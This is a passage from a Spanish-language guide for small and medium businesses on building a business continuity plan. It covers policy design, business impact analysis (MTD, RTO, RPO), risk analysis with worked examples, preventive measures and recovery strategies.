INTRODUCCIÓN En la que se detalle de forma resumida la materia tratada (Plan de Continuidad de Negocio), la estructura del documento y lo que se persigue a través del mismo. OBJETIVOS En este apartado se detallan los objetivos que serán satisfechos mediante la aplicación de la propia política, como garantizar la continuidad de las actividades y de los servicios, aplicar los procedimientos de contingencia y planes de respuesta necesarios, etc. ALCANCE Indica los procesos u operaciones de negocio que son cubiertos por la política, así como los recursos que soportan los citados procesos. Si aplica, también puede llegar a considerarse la zona geográfica sujeta a las instrucciones marcadas por la política. RESPONSABILIDADES Relación de los diferentes responsables implicados de una forma u otra en la gestión de la continuidad de negocio (gerencia, coordinador, equipo, áreas de negocio, proveedores de servicio, etc.) junto con una descripción detallada de sus funciones y obligaciones (gestión de riesgos, asignación y distribución de los recursos, desarrollo de procedimientos de respuesta, realización de pruebas periódicas, formación, etc.). 7.2.3.

ESTABLECER LA PLANIFICACIÓN DEL PROYECTO

Finalmente el coordinador o equipo de continuidad debe aplicar sus habilidades de gestión de proyectos para programar y desarrollar los siguientes componentes del plan de trabajo: tareas a llevar a cabo para satisfacer los objetivos descritos en la política de continuidad, responsables de ejecutar tales tareas, tiempos de ejecución, hitos, presupuestos, plazos e indicadores de éxito.

Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

( 23

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

7.3.

RIESGOS ASOCIADOS AL DISEÑO DEL PLAN Y ESTABLECIMIENTO DE LA POLÍTICA DE CONTINUIDAD DE NEGOCIO

Con más frecuencia de la deseada, las organizaciones no disponen de un perfil con las capacidades y aptitudes necesarias para afrontar con garantías la adopción de un plan de continuidad de negocio. Este hecho se acentúa más cuanto menor es el tamaño de la organización. 7.4.

RECOMENDACIONES

El coordinador formalmente designado es la persona competente para gestionar y supervisar el desarrollo y la implantación del plan de continuidad de negocio, por lo que es importante que disponga de las siguientes capacidades o conocimientos: • Liderazgo. • Conocimiento de la organización y de sus actividades de negocio. • Habilidades sociales de comunicación, ya que está previsto que interaccione de forma fluida con las diferentes áreas de la organización que probablemente tengan otras prioridades. • Capacidad para gestionar proyectos: planificación, definición de recursos necesarios, seguimiento, reporte, etc. Para aquellas organizaciones que constituyen un equipo de continuidad de negocio, es aconsejable que esté formado por personal que pertenezca o conozca las diferentes actividades de negocio (tecnología y sistemas, financiero, comercial, recursos humanos, etc.), ya que los riesgos y amenazas varían en función de dicha actividad y deben ser puestos en común, identificados y priorizados.

24 )

Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

Por otro lado, se hace necesario remarcar que el contenido de la política de continuidad de negocio debe ser claro, sencillo y conciso, con el fin de evitar interpretaciones o expectativas erróneas. Para ello es aconsejable, aparte del conocimiento de la organización y de esta guía, la investigación de fuentes externas en busca de publicaciones y buenas prácticas emitidas por organismos especializados, estándares, etc.

Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

( 25

8.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

8.1.

OBJETIVOS

Identificados los objetivos y el alcance de la gestión de continuidad de negocio a través de la citada Política de Continuidad de Negocio, la empresa debe: • Entender la organización mediante la identificación de productos y servicios clave, así como las actividades y recursos críticos que los soportan. • Estimar el impacto y las consecuencias de los posibles fallos en esas actividades y recursos críticos. • Identificar y valorar los riesgos que podrían interrumpir la entrega de los productos y servicios de la empresa, así como de los recursos sobre los que están soportados. • Adicionalmente, la externalización de determinados servicios u operaciones abre un nuevo ámbito de gestión, ya que es frecuente que la responsabilidad de continuidad de negocio para los servicios externalizados no sea transferida al proveedor o tercero. 8.2. TAREAS

8.2.1.

ESTUDIAR LOS PROCESOS Y ACTIVIDADES DE NEGOCIO

Tanto las actividades de negocio que se encargan del desarrollo de productos y servicios de la organización, como los recursos/activos3 que dan so3 En materia de riesgos y continuidad de negocio es común hablar indistintamente de “activos” o de “recursos” como aquello que es necesario en una organización para la consecución de sus actividades y objetivos de negocio.

26 )

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

porte a dichas actividades deben ser identificados y analizados describiendo las personas implicadas, la información y las aplicaciones empleadas, los proveedores utilizados, etc. Adicionalmente, es importante considerar que toda organización es un ente complejo de equipamiento, personas, tareas, departamentos, mecanismos de comunicación y relaciones con proveedores externos, los cuales pueden prestar servicios críticos que deben ser considerados. Uno de los desafíos más grandes en continuidad de negocio es entender todas las complejidades e interrelaciones existentes. Son las llamadas interdependencias internas y externas. Una organización puede implantar copias de seguridad, redundancia de equipos informáticos y suministros eléctricos, formación y entrenamiento de sus empleados, etc. Pero si no conoce cómo todos estos componentes interactúan para dar forma a una actividad de negocio, cualquier iniciativa terminará resultando una pérdida de tiempo de trabajo efectivo.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 27

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

A modo de ejemplo, se presenta una tabla que incluye que las actividades de negocio de una organización y que podría servir como punto de arranque del trabajo de identificar y conocer en detalle todas las operaciones de negocio de la organización:

Área

Actividades de negocio

Recursos Humanos

• Administración de personal • Gestión de nóminas • Control de presencia • Desarrollo del personal

Compras

• Relación con proveedores • Gestión de pedidos

Ventas

• Comercialización de productos • Marketing • Facturación • Gestión de impagos

Producción

• Generación del producto/servicio

Administración y finanzas

• Contabilidad • Cuentas de resultados • Tesorería

28 )

Asesoría jurídica

• Gestión contractual • Gestión societaria

Auditoría interna

• Auditoría de las actividades de negocio • Reporting a la dirección

Tecnología y Sistemas

• Automatización y eficiencia de los procesos • Innovación

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

8.2.2.

IDENTIFICAR Y VALORAR EL IMPACTO ASOCIADO A LAS INTERRUPCIONES DE LOS PROCESOS DE NEGOCIO

Es necesario que las empresas realicen el esfuerzo de identificar y valorar el impacto que podría tener en la organización si una actividad se paralizase, así como el tiempo de interrupción que puede ser soportado por la organización hasta que las pérdidas no sean asumibles (tiempo máximo permitido de interrupción o MTD por sus siglas en inglés). En la siguiente ilustración se muestra, a modo de ejemplo, la línea temporal que marca un desastre y la estimación del tiempo máximo permitido de interrupción (MTD) para una determinada actividad de la organización.

Línea temporal en la que se localiza el Tiempo Máximo Permitido de Interrupción

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 29

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Las siguientes son algunas estimaciones de tiempos máximos permitidos de interrupción que pueden ser empleados por las empresas para conocer la criticidad de sus actividades y/o de sus recursos: no prioritario (30 días); normal (7 días); importante (72 horas); urgente (24 horas) y crítico (minutos u horas). Por ejemplo, si una compañía que comercializa sus productos por Internet sufre la caída de su línea de conexión a Internet durante 3 horas y consecuentemente calcula que las pérdidas asociadas a la interrupción ascienden a 60.000 €, la citada línea de comunicación será considerada un recurso crítico para la compañía y tendrá que adoptar una estrategia de continuidad prioritaria consistente en implantar una línea de comunicación redundante y alternativa. En este punto es necesario destacar que el impacto total asociado a la paralización de alguna actividad de la organización depende de varios factores:

Tipos de Impacto

30 )

Descripción del Impacto

Operativos

Actividades de negocio que dejan de estar en funcionamiento o el coste de las horas de trabajo perdidas por los empleados

Económicos

Costes directos o indirectos como por ejemplo el lucro cesante o el daño emergente

Regulatorios o contractuales

Sanciones por incumplimiento legal o penalizaciones por incumplimiento del contrato con clientes

Imagen

Relación de aspectos más intangibles y por tanto más difíciles de valorar como la imagen, la fiabilidad y la reputación de la organización frente a clientes, proveedores y accionistas

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

Todos ellos deben ser considerados para que las conclusiones del análisis y las estimaciones sean completas y veraces. En la siguiente ilustración se detalla cualitativamente y a modo de ejemplo la secuencia para calcular el impacto (retraso en la elaboración de las nóminas y descontento de los empleados) que puede tener la paralización del proceso de gestión de nóminas de la organización derivado de la indisponibilidad de la tecnología que lo soporta. Ejemplo cálculo de impacto sobre una actividad de negocio de la empresa

Información obtenida de los responsables y conocedores de las actividades de la organización

ACTIVIDADES CRÍTICAS

RECURSOS CRÍTICOS

1. Comercialización de productos.

1. Responsable de recursos humanos

2. Gestión de Nóminas

2. Tecnología: aplicación que genera la nómina

3. Facturación 4. Gestión de pedidos 5....

3. Archivos en papel con los salarios de los empleados

Tiempo máximo permitido de interrucción (MTD): 1 mes IMPACTO • Retraso en la elaboración de las nóminas • Descontento de los empleados

4....

O aún más sencillo: si una organización sufriera una interrupción en su conexión a Internet, sería un problema que no pudiera realizar transacciones financieras, procesar pedidos o comunicarse con el personal. 8.2.3.

IDENTIFICAR ACTIVIDADES, RECURSOS CRÍTICOS Y PRIORIDADES DE RECUPERACIÓN ASOCIADAS

La organización, a la hora de identificar y priorizar las actividades y recursos críticos, debe tener en cuenta aquellos que, en caso de pérdida, tendrían el mayor impacto sobre la actividad empresarial en el menor tiempo posible y, por tanto, necesitarían ser restaurados con mayor inmediatez.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 31

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Siguiendo con el gráfico anterior, se muestra como ejemplo la valoración cualitativa de las prioridades de recuperación (alta, media o baja) de los recursos críticos (responsable de Recursos Humanos, tecnología y archivos en papel) que soportan el proceso de gestión de nóminas a partir de la ya explicada estimación del impacto. Ejemplo cálculo de prioridades de recuperación sobre los recursos críticos de una actividad de negocio de la empresa

RECURSOS CRÍTICOS 1. Responsable de recursos humanos 2. Tecnología: aplicación que genera la nómina 3. Archivos en papel con los salarios de los empleados 4....

Tiempo máximo permitido de interrucción (MTD): 1 mes IMPACTO • Retraso en la elaboración de las nóminas • Descontento de los empleados

Recursos críticos

Prioridad Recuperación

1. Responsable de recursos Baja humanos 2. Tecnología: aplicación que genera la nómina

Alta

3. Archivos en papel con los salarios de los empleados

Media

Es decir, del hecho de concluir que la tecnología que habilita el proceso de gestión de nóminas tiene una prioridad de recuperación “alta”, se deriva que dicho recurso es crítico y por tanto más importante que otros (responsable de Recursos Humanos o archivos en papel) desde el punto de vista de su recuperación.

32 )

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

Otros ejemplos de identificación de recursos críticos pueden ser: • Las redes de comunicaciones en organizaciones que dependen de las comunicaciones internas y externas para funcionar adecuadamente. • Los sistemas de alimentación energética en aquellas compañías que requieren de suministro eléctrico para fabricar sus bienes. • El conocimiento del fundador y gerente de la empresa, el cual es el único que dispone de la experiencia y entendimiento detallado de sus actividades de negocio. • El listado de clientes y contactos comerciales disponible únicamente en soporte papel. Existen dos parámetros muy específicos que están estrechamente relacionados con la recuperación: Tiempo de Recuperación Objetivo (RTO) y Punto de Recuperación Objetivo (RPO). El RTO establece la urgencia que las diferentes unidades de negocio precisan para volver a su funcionamiento habitual. Por tanto, determina los plazos en los que deben volver a funcionar con normalidad. Estos pueden establecerse en períodos de tiempo en función de la criticidad de los procesos y pueden ser cuestión de horas o semanas en aquellos procesos prescindibles. Por tanto, se trata de identificar el orden en que hay que tratar de reconstruir la actividad, recuperando antes aquellos procesos cuya paralización suponen un mayor impacto para la organización. En una situación de crisis siempre hay recursos limitados y es necesario elegir qué hacer primero atendiendo a un criterio de negocio. El RPO se refiere al punto más reciente en el tiempo en el que los sistemas pueden ser recuperados, reflejando por tanto cuánta es la cantidad de información que una organización puede permitirse perder sin que le afecte negativamente. Por tanto, el RPO determina la periodicidad con la que deben salvaguardarse los datos para todos aquellos procesos de negocio.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 33

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Cuanto más cortos son el RTO y el RPO, más complejos y caros son los planes de continuidad de negocio. Estos dos parámetros deciden también las diferentes estrategias de recuperación que serán explicadas en el apartado 10 de esta guía. La siguiente ilustración muestra visualmente el concepto Tiempo de Recuperación Permitido (RTO) y su relación con el Tiempo Máximo Permitido de Interrupción (MTD) (considerando la ocurrencia en algún momento del tiempo de un desastre): Ubicación en el tiempo del RTO y el MTD antes de que una empresa sufra pérdidas graves

34 )

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

Las tareas identificadas hasta ahora a lo largo de esta fase (estudiar los procesos, calcular el impacto e identificar las actividades) conforman el comúnmente denominado Análisis de Impacto en el Negocio (BIA). El BIA constituye la base para elaborar un plan de continuidad de negocio y consiste en describir qué pérdidas potenciales tendrá la organización si alguna de sus actividades de negocio (por ejemplo la facturación o el pago de las nóminas de los empleados) o de los recursos que las soportan (por ejemplo los sistemas informáticos) se paraliza. Este análisis va a permitir que las organizaciones sepan qué recursos van a tener que proveer al plan de recuperación y en qué orden para restablecer y recuperar la operativa después de un desastre.

8.2.4.

ANÁLISIS DE RIESGOS

¿Con qué probabilidad puede ocurrir un desastre o una interrupción severa de mis servicios o actividades críticas? El alcance del proceso de análisis de riesgos enmarcado en la implantación de un plan de continuidad de negocio es acotado, ya que la organización debe tener presente los factores y la probabilidad que pueden desencadenar una interrupción de sus actividades críticas. El análisis de riesgos consiste en identificar las amenazas sobre estos activos y su probabilidad de ocurrencia, las vulnerabilidades asociadas a cada activo y el impacto que las citadas amenazas pueden provocar sobre la disponibilidad de los mismos.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 35

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Interrelaciones entre las variables que componen el riesgo (activo, amenaza, vulnerabilidad)

Los activos son vulnerables y se protegen con controles de seguridad. vos Acti

Ocurren de forma imprevista en el entorno de la organización y pueden causar daños (pérdidas). Son la fuente de los riesgos. Las amenazas más importantes son aquellas que tienen una mayor probabilidad de ocurrencia y pueden afectar significativamente a la organización. Las amenazas explotan vulnerabilidades de los activos de información.

Activos

Am ena zas

Amenazas

Riesgo

Vulnerabilidades

La carencia de controles de seguridad y la existencia de vulnerabilidades en los activos provocarán un mayor impacto de los riesgos de seguridad generados por las amenazas.

Vulnerabilidades

Si bien existen diversas metodologías de análisis de riesgos (MAGERIT, OCTAVE), e incluso herramientas que ayudan a automatizar el proceso (EAR/PILAR), todas ellas siguen la siguiente secuencia de acción: • Identificar activos: para cada una de las actividades críticas de la organización, es necesario identificar y valorar los activos involucrados. La mayor parte de esta tarea debiera haber sido completada en el BIA. • Identificar y evaluar las amenazas sobre los activos identificados previamente y su probabilidad de que sucedan. Aunque existen diversas tipologías de amenazas, algunos ejemplos de ellas son fuego, inundación, fallo eléctrico, absentismo laboral, huelgas, etc.

36 )

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

• Identificar y valorar las vulnerabilidades o debilidades asociadas a los activos, las cuales pueden ser explotadas por las amenazas. • Valorar el impacto resultante de que una amenaza se aproveche de una vulnerabilidad del activo y provoque daño sobre el mismo. • Calcular el riesgo como la probabilidad de que se produzca un impacto determinado en la organización. El proceso de análisis de riesgos puede ser abordado de forma cualitativa, cuantitativa o incluso mezcla de ambos. En la siguiente tabla se describen los 2 tipos de análisis de riesgos junto con las ventajas e inconvenientes asociados a los mismos. Descripción de tipos de análisis de riesgos Tipo de Análisis de Riesgos

Descripción

Ventajas

Inconvenientes

Cualitativo

Basado en clasificaciones descriptivas y subjetivas del riesgo

• Sencillez • Rapidez • Equilibrio Coste-Beneficio • Uso extendido

Subjetividad

Cuantitativo

Basado en términos monetarios

• Exactitud • Objetividad

Complejidad para estimar costes reales

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 37

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Para que la empresa se familiarice y comprenda de forma más concreta el enfoque aplicado sobre los tipos de análisis de riesgos descritos, se expone a continuación un ejemplo de cada uno de ellos: Ejemplo de Análisis de Riesgos Cualitativo Partiendo de que el Riesgo (R) es la Probabilidad (P) de que una amenaza explote una vulnerabilidad asociada a un activo: Riesgo (R)= Impacto (I) x Probabilidad (P) Donde: * Impacto (I)= f (criticidad del activo, gravedad de la vulnerabilidad). Posibles valores: alto, medio o bajo. * Probabilidad (P)= f (frecuencia de la amenaza, facilidad de explotación de la vulnerabilidad). Posibles valores: alto, medio o bajo. La empresa estima que existe una alta probabilidad (P) de que una inundación (amenaza) inutilice la oficina (activo) situada en el sótano del edificio (vulnerabilidad) y paralice sus actividades provocando un impacto (I) alto. En función de la siguiente matriz de evaluación cualitativa:

* Riesgo (R)= Impacto (I) Alto x Probabilidad (P) Alta= Riesgo crítico

38 )

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

Ejemplo de Análisis de Riesgos Cuantitativo Si se quiere calcular el daño o la pérdida en términos monetarios que la inundación citada en el ejemplo anterior puede provocar en la organización: Daño o pérdida= Valor del activo (€) x Factor de Exposición (%) x Probabilidad de Ocurrencia Donde: * La oficina de la organización, valorada en 100.000 €, es el activo valorado. * El Factor de Exposición es el porcentaje (%) del activo que se vería dañado como consecuencia de la inundación. Si la organización considera que la inundación daña la totalidad de la oficina, el factor de exposición sería del 100% (si estima que solo se queda inutilizada la mitad de la oficina, el factor de exposición sería del 50%). * La probabilidad de ocurrencia de la amenaza (inundación) es calculada en función del número de veces que la amenaza puede ocurrir en un año. Si se estima que una inundación puede ocurrir una vez cada diez años: Probabilidad de Ocurrencia= 1 vez / 10 años= 0,1 veces/año De esta forma el daño o la pérdida que puede sufrir el activo se estima: Daño o pérdida= 100.000 € x 100% x 0,1 veces/año= 10.000 €

Independientemente de la metodología o de las herramientas empleadas para el análisis de riesgos, el resultado del proceso será un mapa de riesgos que permite identificar y priorizar aquellos que pueden provocar una paralización de las actividades de negocio de la organización o de los recursos críticos sobre los cuales dichas actividades están soportadas.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 39

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

¿Qué puede hacer la organización ante los riesgos que ha identificado? Existen diferentes opciones para hacer frente a los mismos: • Aceptar el riesgo: la organización conoce el riesgo y decide asumirlo sin tomar ninguna acción al respecto, bien porque no tiene capacidad o bien porque el coste para mitigar el riesgo es desproporcionado para los beneficios que aporta. • Transferir el riesgo: como por ejemplo a través de la subcontratación de servicios o mediante la contratación de un seguro de cobertura, de forma que si el riesgo se materializa exista una compensación externa que lo mitigue. • Reducir el riesgo a niveles aceptables por la organización: mediante el diseño y la implantación de controles o medidas preventivas o que atenúen los impactos y las consecuencias del mismo (ver Fase III: Medidas preventivas). • Evitar el riesgo: mediante la eliminación del mismo (por ejemplo a través de la reingeniería de procesos o incluso suspendiendo la actividad que origina el riesgo sin penalizar los objetivos de negocio de la organización). Las distintas opciones para hacer frente a los riesgos pueden ser utilizadas conjuntamente, si bien es destacable que no todos los riesgos pueden ser reducidos o prevenidos a un nivel aceptable. La continuidad de negocio constituye por sí misma una estrategia o una opción de respuesta para hacer frente a aquellos riesgos que pueden interrumpir las operaciones de la organización.

40 )

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

8.3.

RIESGOS ASOCIADOS AL CONOCIMIENTO DE LOS PROCESOS DE NEGOCIO Y ANÁLISIS DE RIESGOS

Si la organización o los responsables en materia de continuidad de negocio no interpretan correctamente los riesgos a los se expone y cómo impacta la paralización de sus actividades de negocio, son varios los problemas que pueden surgir: • Dificultad para preparar la respuesta ante incidentes de seguridad. • Identificación y priorización errónea de los impactos en el negocio y de los riesgos. • Derivado del punto anterior, deficiencias para seleccionar las prioridades y los procedimientos de recuperación más adecuados. Por otro lado, es habitual que las organizaciones adopten procesos de gestión de riesgos que generan matrices de análisis complejas y engorrosas de desarrollar y mantener, perdiendo la visión a alto nivel y el “sentido común” necesario para determinar en última instancia qué riesgos deben ser tomados en consideración. 8.4.

RECOMENDACIONES

El Análisis de Impacto de Negocio (BIA) y el Análisis de Riesgos son procesos fundamentales que soportan el plan de continuidad de negocio y deben ser abordados con la estrecha colaboración de aquellas figuras que conocen en detalle las actividades de la organización. De esta forma los resultados finales serán fiables. Adicionalmente, y en alusión a los diferentes métodos de análisis de riesgos, es preferible que la organización adopte un enfoque cualitativo. Aparte de ser más utilizado, este enfoque permitirá un proceso sencillo, ágil y factible en tiempo y recursos necesarios para su ejecución.

Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

( 41

9.

Fase III: Medidas preventivas

FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

9.1.

OBJETIVOS

El propósito de esta fase consiste en aplicar medidas de seguridad que eviten en la medida de lo posible que se produzcan incidentes de seguridad que, al no ser gestionados adecuadamente, hagan necesaria la activación del plan de continuidad de negocio.

9.2.

9.2.1.

TAREAS

IDENTIFICACIÓN Y APLICACIÓN DE MEDIDAS DE SEGURIDAD

Tomando como base los resultados del BIA y del análisis de riesgos, la organización debe identificar y aplicar controles o medidas de seguridad que:

42 )

Fase III: Medidas preventivas

• Reduzcan la probabilidad de que las actividades críticas sufran interrupciones. • Disminuyan el tiempo de una eventual interrupción. • Limiten el impacto que una paralización de las actividades críticas pueda provocar en la organización. • Incrementen la fortaleza del negocio mediante la eliminación de puntos de fallo únicos (accesos, procesos, clientes, etc.) De esta forma se elabora un plan de acción que contempla las acciones que la compañía pretende adoptar para prevenir y evitar en la medida de lo posible los riesgos que impactan en la disponibilidad de las operaciones. El hecho de abordar estas acciones de implantación de medidas de seguridad preventivas puede llegar a convertirse en un ahorro de costes al disminuir la posibilidad de tener que enfrentarse a males mayores que supondrían un gasto extra. 9.3.

RIESGOS ASOCIADOS AL ESTABLECIMIENTO DE MEDIDAS PREVENTIVAS

No todos los riesgos tienen la misma criticidad ni todas las medidas de seguridad el mismo coste de implantación ni redundan en los mismos beneficios para la organización. En este sentido, cabe la posibilidad de que la organización adopte un modelo de gestión ambicioso al abordar la implantación de medidas de seguridad costosas de aplicar, engorrosas de mantener y que hacen frente a riesgos que no son críticos.

Fase III: Medidas preventivas

( 43

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

No implantar medidas preventivas después de identificar riesgos sería análogo al hecho de que un individuo acuda al médico y haga caso omiso cuando éste último le indique que debe ponerse a dieta y aumentar el ejercicio físico. Entonces, ¿para qué acude al médico? El mismo concepto se aplica a las empresas: si un equipo o responsable ha sido encargado para identificar riesgos y recomendar medidas que mitiguen los mismos, pero la organización no implanta ninguna de las soluciones propuestas, ¿para qué fin se crea dicho equipo o responsable? Adicionalmente, la selección de medidas de seguridad inadecuadas que no atajan debidamente los riesgos a los que está expuesta la organización puede conllevar un gasto económico inútil que no contribuye al desarrollo de la estrategia de continuidad. 9.4.

RECOMENDACIONES

El proceso de identificar e implantar medidas de seguridad debe estar basado en un equilibrio entre los siguientes factores: • Riesgo que está siendo mitigado o impacto que estaría siendo reducido. • Coste de implantar la/s medida/s de seguridad (económico y humano). • Beneficios que la implantación de la/s medida/s de seguridad aporta a la empresa.

44 )

Fase III: Medidas preventivas

Por tanto, en vez de esperar a que un desastre golpee a la organización para ver cómo esta se recupera, las medidas preventivas (en ocasiones denominadas contramedidas) deben ser aplicadas con el objetivo de incrementar la fortaleza de sus actividades frente a posibles impactos previamente identificados en el BIA. Algunos ejemplos de medidas preventivas son: • Empleo de materiales de construcción robustos. • Redundancia de sistemas informáticos y líneas de comunicación. • Adquisición de seguros con diferentes grados de cobertura. • Copias de seguridad de información que soporta una actividad crítica de la organización. • Sistemas de detección y extinción de incendios. • Sistemas de prevención de intrusiones y control de accesos. • Sistemas de alarma y vigilancia.

¿ A quién va dirigida?

( 45

10.

Fase IV: Estrategias de recuperación

FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

10.1.

OBJETIVOS

En base a los resultados del BIA y del análisis de riesgos, el objetivo perseguido en esta fase consiste en identificar las alternativas de recuperación de las actividades críticas de la organización en los marcos de tiempo definidos y aceptados.

10.2.

TAREAS

Es importante recordar que en la fase de realización del BIA, la organización calculó las pérdidas potenciales para las diferentes amenazas que pueden interrumpir sus actividades. Se exponen a continuación algunos ejemplos de estos cálculos:

46 )

Fase IV: Estrategias de recuperación

- Si la sala en la que se ubican los servidores y los sistemas que dan soporte a las actividades de negocio deja de estar operativa, el coste que supondría para la organización ascendería a 60.000 € por cada día de inactividad. - Si la conexión de mi empresa con el mundo exterior a través de Internet no está disponible, el coste estimado para la organización sería de 3.000 € por cada hora de indisponibilidad. - Si una empresa de restauración deja de recibir los bienes comestibles de su proveedor de distribución en huelga, pasará a tener unas pérdidas aproximadas de 2.000 € por día a partir del momento en el que se quede sin existencias de reserva. 10.2.1.

SELECCIÓN DE ALTERNATIVAS DE RECUPERACIÓN

La organización debe tener en cuenta los posibles daños potenciales a la hora de revisar y seleccionar las diferentes soluciones o alternativas de recuperación de sus actividades críticas, considerando adicionalmente los siguientes factores: • La cuantía económica asociada a la implantación de la estrategia de recuperación, la cual suele constituir uno de los mayores inconvenientes a la hora de adquirir una solución de recuperación. • Los beneficios que proporciona la citada estrategia. • El Tiempo Máximo Permitido de Interrupción (MTD) de la actividad crítica. • El Tiempo de Recuperación Objetivo (RTO). • La perdida máxima de información que una empresa se puede permitir (RPO).

Fase IV: Estrategias de recuperación

( 47

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Ejemplos de estrategias de recuperación Recurso crítico

Objetivo

Personas que participan en las actividades de negocio

Mantener el conocimiento y las capacidades del personal con funciones y responsabilidades en actividades críticas

• Documentar actividades críticas • Formación • Conocimiento compartido y multidisciplinar • Separación de tareas clave

Instalaciones y Puestos de trabajo

Reducir el impacto que genera la falta de disponibilidad de las instalaciones de trabajo

• Instalaciones alternativas • Acuerdos recíprocos • Teletrabajo

Tecnología

Entender el entorno tecnológico que soporta las actividades críticas y mantener la capacidad para replicarlo en caso de desastre

• Redundancia de equipos y comunicaciones • Mantenimiento de la misma tecnología en diferentes ubicaciones • Copias de software crítico

Información y Documentación

Garantizar la protección y recuperación de la información vital para la organización

• Copias de seguridad • Procedimientos de recuperación • Documentación de activación del plan de continuidad

Proveedores

Identificar y mantener un inventario de proveedores de servicios clave que soportan las actividades críticas

• Contacto con proveedores alternativos • Acuerdos con terceros • Envío y almacenamiento de recursos críticos en ubicaciones alternativas

Accionistas y Socios

Proteger los intereses de socios y accionistas afectados por un desastre

• Acuerdos que garantizan el bienestar de los colectivos involucrados en el desastre

Servicios civiles Garantizar que la organización de emergencia conoce los procedimientos de (tráfico, bomberos) los servicios de emergencia

48 )

Estrategias de recuperación

Fase IV: Estrategias de recuperación

• Recomendaciones de rutas de evacuación y puntos de reunión • Participación en simulacros

Considerando únicamente las instalaciones y puestos de trabajo de la empresa como recurso crítico, la siguiente tabla propone diferentes estrategias de recuperación en función de la naturaleza de las mismas (asumidas internamente por la PYME, contratadas a un tercero o diseñadas a medida de la empresa) y el Tiempo de Recuperación Objetivo (RTO). Relación entre el Tiempo de Recuperación Objetivo y las Estrategias de Recuperación Tiempo de Recuperación Objetivo (RTO)

Estrategias de recuperación Internas

Contratadas

A medida

Meses

• Reconstruir o reubicar

• Ampliar el contrato de emplazamiento de recuperación

• Reconstruir, alquilar o comprar

Semanas

• Edificios prefabricados en el mismo sitio • Adaptación de edificios para otros usos

• Expansión del emplazamiento de recuperación • Unidades prefabricadas y móviles alquiladas

• Oficinas amuebladas. Subcontratación de procesos

Días

• Emplazamiento de recuperación “in situ” • Trabajo desde casa

• Emplazamiento para la recuperación de la actividad comercial • Acuerdos recíprocos • Instalaciones móviles • Procesos subcontratados

• Oficinas gestionadas

Horas

• Varias ubicaciones con personal reasignado

• Reubicar un equipo reducido de personas a un emplazamiento de recuperación contratado

Inmediato

• Localizaciones diversas para cada actividad

• Iniciar una conmutación de las tecnologías a un emplazamiento de recuperación contratado

Fuente: Business Continuity Institute (http://www.thebci.org/ o http://www.bcispain.com/ para su capítulo en España)

Fase IV: Estrategias de recuperación

( 49

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

En este sentido, es importante destacar los siguientes aspectos con respecto a la selección de las estrategias de recuperación: • La elección de las diferentes alternativas de recuperación depende de las necesidades de la organización: tiempos de recuperación objetivo (RTO), costes, recursos humanos/técnicos, etc. • Lo más común y recomendable es adoptar una combinación de las estrategias de recuperación para los distintos recursos críticos. • El tiempo de recuperación objetivo (RTO) definido por la organización para sus actividades críticas siempre debe ser menor al tiempo máximo permitido de interrupción (MTD). • El coste de las estrategias de recuperación será generalmente mayor cuanto menor sea el tiempo de recuperación objetivo (RTO). Una vez analizadas y seleccionadas las estrategias de recuperación que serán empleadas como respaldo en caso de interrupción de las actividades críticas de negocio, es necesario plasmar todas las soluciones y pasos a abordar en un plan (entendido como un conjunto de procedimientos, funciones y actividades que permitirá el restablecimiento de las citadas actividades en unos plazos razonables). 10.3.

RIESGOS ASOCIADOS A LA IMPLEMENTACIÓN DE ESTRATEGIAS DE RECUPERACIÓN

Al igual que sucede en la Fase III: Medidas preventivas, consistente en la identificación y aplicación de las mismas, la selección de las estrategias de recuperación más adecuadas depende principalmente de que los resultados del BIA sean veraces y se ajusten lo más posible a la realidad de la empresa.

50 )

Fase IV: Estrategias de recuperación

Así, una estimación errónea sobre las consecuencias de una paralización de las actividades críticas de la organización puede derivar en una selección desacertada sobre las estrategias de recuperación a desarrollar. Por otro lado, es común que las organizaciones no asimilen la diferencia entre las medidas preventivas y las estrategias de recuperación. 10.4.

RECOMENDACIONES

